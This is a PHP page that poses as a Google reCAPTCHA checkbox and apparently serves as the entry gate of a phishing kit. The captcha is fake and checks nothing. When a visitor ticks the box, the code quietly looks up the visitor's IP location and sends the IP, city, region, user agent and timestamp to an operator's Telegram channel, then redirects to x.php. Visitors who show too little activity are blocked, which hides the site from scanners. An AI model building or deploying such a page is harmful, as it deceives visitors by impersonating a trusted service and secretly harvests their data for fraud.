<?php
session_start();

// Foutmeldingen inschakelen (alleen tijdens ontwikkeling)
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// Zorg voor correcte padverwijzingen
include_once __DIR__ . '/config/index.php';
include_once __DIR__ . '/includes/notify_telegram.php';

// 1) Indien lokaal testen: vervang 127.0.0.1 of ::1 door een test-IP
$user_ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
if ($user_ip === '127.0.0.1' || $user_ip === '::1') {
    $user_ip = '1.1.1.1'; // voorbeeld IP
}

// 2) Verhoog visit count per GET-aanvraag
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    $_SESSION['visit_count'] = isset($_SESSION['visit_count']) ? $_SESSION['visit_count'] + 1 : 1;
}

// --- Functies voor visitor-info, landcode, vlag en taal --- //
function getVisitorInfo($ip) {
    global $config;
    $apiKey = $config['ipinfo']['api_key'] ?? '';
    $url = "https://ipinfo.io/{$ip}/json?token={$apiKey}";
    $response = @file_get_contents($url);
    return $response ? json_decode($response, true) : [];
}
function getVisitorCountryCode($ip) {
    $info = getVisitorInfo($ip);
    return isset($info['country']) ? $info['country'] : "XX";
}
function getCountryName($countryCode) {
    $countries = [
        'AU' => 'Australia',
        'NL' => 'Netherlands',
        'US' => 'United States',
        'GB' => 'United Kingdom',
        'DE' => 'Germany',
        'FR' => 'France',
        'ES' => 'Spain',
        'IT' => 'Italy',
        'PT' => 'Portugal',
        'RU' => 'Russia',
        'CN' => 'China',
        'JP' => 'Japan',
        'IN' => 'India'
    ];
    return $countries[strtoupper($countryCode)] ?? $countryCode;
}
function getFlagEmoji($countryCode) {
    $code = strtoupper($countryCode);
    if (strlen($code) !== 2) { return ''; }
    $offset = 0x1F1E6; 
    $firstChar = mb_ord($code[0]) - 65 + $offset;
    $secondChar = mb_ord($code[1]) - 65 + $offset;
    return mb_chr($firstChar) . mb_chr($secondChar);
}
function detect_language() {
    $languages = ['en','nl','es','fr','de','it','pt','ru','zh','ja','ar','hi','bn','ur','ko','vi','tl','fa','th','id'];
    $default_language = 'en';
    if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
        foreach (explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']) as $lang) {
            if (in_array(substr($lang, 0, 2), $languages)) {
                return substr($lang, 0, 2);
            }
        }
    }
    return $default_language;
}
$language = detect_language();

// Eenvoudige vertalingen (footer_text kan je naar wens aanpassen)
$translations = [
    'en' => [
        'captcha_label' => "I'm not a robot",
        'submit'        => 'Submit',
        'error_message' => 'Please confirm that you are not a robot by checking the box.',
        'footer_text'   => 'This site is protected. Please review our <a href="privacy.php" style="color:blue; text-decoration:underline;">Privacy Policy</a> and <a href="terms.php" style="color:blue; text-decoration:underline;">Terms of Service</a>.'
    ],
    'nl' => [
        'captcha_label' => 'Ik ben geen robot',
        'submit'        => 'Verzenden',
        'error_message' => 'Bevestig dat u geen robot bent door het vakje aan te vinken.',
        'footer_text'   => 'Deze site wordt beschermd. Lees ons <a href="privacy.php" style="color:blue; text-decoration:underline;">Privacybeleid</a> en de <a href="terms.php" style="color:blue; text-decoration:underline;">Servicevoorwaarden</a>.'
    ]
];
function translate($key, $translations, $language) {
    return $translations[$language][$key] ?? $translations['en'][$key];
}

// --- 3) CAPTCHA-verificatie (POST) --- //
$captcha_valid = false;
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Controleer of het formulier niet té snel is verstuurd (time in ms)
    $form_load_time = isset($_POST['form_load_time']) ? (int)$_POST['form_load_time'] : 0;
    $time_elapsed = (time() * 1000) - $form_load_time;
    if ($time_elapsed < 150) {
        die('Form submitted too quickly. Bot suspected.');
    }
    // Als de checkbox is aangevinkt, gaan we ervan uit dat de gebruiker de captcha bevestigt
    if (isset($_POST['captcha_checkbox']) && $_POST['captcha_checkbox'] === 'on') {
        $clickCount  = $_SESSION['visit_count'] ?? 0;
        $timestamp   = date('Y-m-d H:i:s');
        $userAgent   = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
        $countryCode = getVisitorCountryCode($user_ip);
        $countryName = getCountryName($countryCode);
        $flag        = getFlagEmoji($countryCode);
        $info        = getVisitorInfo($user_ip);
        $city        = $info['city'] ?? '';
        $region      = $info['region'] ?? '';

        $message  = "✅ *Captcha User Info:*\n\n";
        $message .= "🌐 *IP:* {$user_ip}\n";
        $message .= "🏳️ *Country:* {$countryName} ({$countryCode}) {$flag}\n";
        if (!empty($region)) { $message .= "🏙️ *Region:* {$region}\n"; }
        if (!empty($city))   { $message .= "🌆 *City:* {$city}\n"; }
        $message .= "📱 *User Agent:* {$userAgent}\n";
        $message .= "⏰ *Timestamp:* {$timestamp}\n";
        $message .= "🔢 *Click Count:* {$clickCount}\n\n";
        $message .= "✅ *Pressed successfully!*";

        // Stel de captcha-cookie in met de naam 'captcha_valid'
        setcookie('captcha_valid', 'true', time() + 3600, '/');
        $_COOKIE['captcha_valid'] = 'true'; // Zorg dat de huidige request de cookie ook 'ziet'

        $_SESSION['visit_count'] = 0;
        sendTGNotification($message);
        header('Location: x.php');
        exit();
    } else {
        $captcha_valid = false;
    }
}
?>
<!DOCTYPE html>
<html lang="<?= htmlspecialchars($language) ?>">
<head>
    <meta charset="UTF-8">
    <title><?= translate('captcha_label', $translations, $language) ?></title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        body {
            font-family: Arial, sans-serif; 
            background-color: #f0f2f5; 
            display: flex; 
            justify-content: center; 
            align-items: center; 
            height: 100vh; 
            margin: 0;
        }
        .container {
            background-color: #fff; 
            padding: 20px; 
            border-radius: 8px; 
            box-shadow: 0 4px 12px rgba(0,0,0,0.1); 
            text-align: center; 
            max-width: 350px; 
            width: 100%;
        }
        .captcha-box {
            display: flex; 
            align-items: center; 
            justify-content: space-between; 
            padding: 10px; 
            border: 1px solid #d1d1d1; 
            border-radius: 4px; 
            background-color: #f9f9f9;
        }
        .captcha-checkbox {
            width: 24px; 
            height: 24px; 
            margin-right: 12px; 
            border: 2px solid #d1d1d1; 
            background-color: #fff; 
            cursor: pointer;
        }
        .captcha-label {
            font-size: 16px; 
            color: #333; 
            flex-grow: 1; 
            text-align: left;
        }
        .captcha-logo {
            width: 32px;
            height: 32px;
            /* Dit is de Google reCAPTCHA-logo-URL, net als in je oude captcha.php */
            background: url('https://logodownload.org/wp-content/uploads/2019/07/recaptcha-logo.png') no-repeat center;
            background-size: contain;
        }
        .submit-btn {
            display: none; /* Verberg de submit-knop, we versturen direct bij checkbox-change */
        }
        .error-message {
            color: red; 
            font-size: 14px; 
            margin-bottom: 10px;
        }
        .footer-text {
            font-size: 12px; 
            color: #666; 
            margin-top: 10px; 
            text-align: center;
        }
    </style>
</head>
<body>
<div class="container">
    <?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && !$captcha_valid): ?>
        <div class="error-message"><?= translate('error_message', $translations, $language) ?></div>
    <?php endif; ?>
    
    <form method="POST" action="" id="captcha-form">
        <input type="hidden" name="form_load_time" id="form_load_time">
        <!-- Een hidden field voor een door JavaScript gegenereerde token (optioneel) -->
        <input type="hidden" name="js_token" id="js_token">
        
        <div class="captcha-box">
            <input type="checkbox" id="captcha-checkbox" name="captcha_checkbox" class="captcha-checkbox">
            <label for="captcha-checkbox" class="captcha-label"><?= translate('captcha_label', $translations, $language) ?></label>
            <div class="captcha-logo"></div>
        </div>
        
        <button type="submit" class="submit-btn" id="submit-btn"><?= translate('submit', $translations, $language) ?></button>
    </form>

    <div class="footer-text">
        <?= translate('footer_text', $translations, $language) ?>
    </div>
</div>

<script>
// Stel form_load_time in
document.getElementById('form_load_time').value = Date.now();

// Genereer een willekeurige token en zet deze in het hidden field en als cookie (optioneel)
function generateToken(length) {
    let chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    let token = '';
    for (let i = 0; i < length; i++) {
        token += chars.charAt(Math.floor(Math.random() * chars.length));
    }
    return token;
}
const jsToken = generateToken(16);
document.getElementById('js_token').value = jsToken;
document.cookie = "js_token=" + jsToken + "; path=/";

// Variabelen voor interactie-detectie
let interactionCount = 0;
const minInteractions = 5; // minimum interacties om als mens te herkennen

['mousemove', 'scroll', 'keydown'].forEach(evt => {
    document.addEventListener(evt, () => interactionCount++);
});

// Indien de checkbox wordt aangevinkt, verstuur direct het formulier
const checkbox = document.getElementById('captcha-checkbox');
const form = document.getElementById('captcha-form');
checkbox.addEventListener('change', function() {
    if (checkbox.checked) {
        form.submit();
    }
});

// Start een timer van 10 seconden. Na 10 seconden:
// - Als de checkbox nog niet is aangevinkt
// - EN als er niet voldoende interactie is gedetecteerd (minder dan minInteractions)
// Dan wordt een AJAX-call gedaan naar block_ip.php en daarna doorgestuurd naar x.php.
setTimeout(function(){
    if (!checkbox.checked || interactionCount < minInteractions) {
        fetch("block_ip.php", { method: "POST" })
          .then(response => response.text())
          .then(data => {
              window.location.href = "x.php";
          })
          .catch(error => {
              console.error("Error blocking IP:", error);
              window.location.href = "x.php";
          });
    }
}, 20000); // 10 seconden
</script>
</body>
</html>
